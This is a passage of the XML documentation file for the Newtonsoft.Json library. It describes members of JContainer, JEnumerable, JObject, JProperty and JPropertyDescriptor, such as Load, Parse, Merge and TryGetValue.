     <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing this token, and all the descendant tokens of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Add(System.Object)\">\n            <summary>\n            Adds the specified content as children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.AddFirst(System.Object)\">\n            <summary>\n            Adds the specified content as the first children of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be added.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.CreateWriter\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that can be used to add tokens to the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> that is ready to have content written to it.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.ReplaceAll(System.Object)\">\n            <summary>\n            Replaces the child nodes of this token with the specified content.\n            </summary>\n            <param name=\"content\">The content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.RemoveAll\">\n            <summary>\n            Removes the child nodes from this token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JContainer.Merge(System.Object,Newtonsoft.Json.Linq.JsonMergeSettings)\">\n            <summary>\n            Merge the specified content into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/>.\n            </summary>\n            <param name=\"content\">The content to be merged.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> used to merge the content.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JContainer.Count\">\n            <summary>\n            Gets the count of child JSON tokens.\n            </summary>\n            <value>The count of child JSON tokens.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JEnumerable`1.Empty\">\n            <summary>\n            An empty collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.#ctor(System.Collections.Generic.IEnumerable{`0})\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> struct.\n            </summary>\n            <param name=\"enumerable\">The enumerable.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(Newtonsoft.Json.Linq.JEnumerable{`0})\">\n            <summary>\n            Determines whether the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance.\n            </summary>\n            <param name=\"other\">The <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to this instance.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with this instance.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to this instance; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JEnumerable`1.GetHashCode\">\n            <summary>\n            Returns a hash code for this instance.\n            </summary>\n            <returns>\n            A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. \n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JObject\">\n            <summary>\n            Represents a JSON object.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous load. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\">\n            <summary>\n            Occurs when a property value changes.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\">\n            <summary>\n            Occurs when a property value is changing.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(Newtonsoft.Json.Linq.JObject)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the object.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Properties\">\n            <summary>\n            Gets an <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> of this object's properties.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Property(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> with the specified name.\n            The exact name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> matched with the specified name or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.PropertyValues\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this object's property values.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JObject.Item(System.String)\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"reader\"/> is not valid JSON.\n            </exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> populated from the string that contains JSON.</returns>\n            <exception cref=\"T:Newtonsoft.Json.JsonReaderException\">\n                <paramref name=\"json\"/> is not valid JSON.\n            </exception>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParse\" title=\"Parsing a JSON Object from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetValue(System.String,System.StringComparison)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,System.StringComparison,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"comparison\">One of the enumeration values that specifies how the strings will be compared.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Add(System.String,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Adds the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.ContainsKey(System.String)\">\n            <summary>\n            Determines whether the JSON object has the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if the JSON object has the specified property name; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Remove(System.String)\">\n            <summary>\n            Removes the property with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if item was successfully removed; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanged(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanging(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanging\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JProperty\">\n            <summary>\n            Represents a JSON property.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Name\">\n            <summary>\n            Gets the property name.\n            </summary>\n            <value>The property name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Value\">\n            <summary>\n            Gets or sets the property value.\n            </summary>\n            <value>The property value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(Newtonsoft.Json.Linq.JProperty)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object to copy from.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\">\n            <summary>\n            Represents a view of a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\"/> class.\n            </summary>\n            <param name=\"name\">The name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.CanResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, returns whether resetting an object changes its value.\n            </summary>\n            <returns>\n            <c>true</c> if resetting the component changes its value; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component to test for reset capability.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.GetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, gets the current value of the property on a component.\n            </summary>\n            <returns>\n            The value of a property for a given component.\n            </returns>\n            <param name=\"component\">The component with the property for which to retrieve the value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, resets the value for this property of the component to the default value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be reset to the default value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.SetValue(System.Object,System.Object)\">\n            <summary>\n            When overridden in a derived class, sets the value of the component to a different value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be set.</param>\n            <param 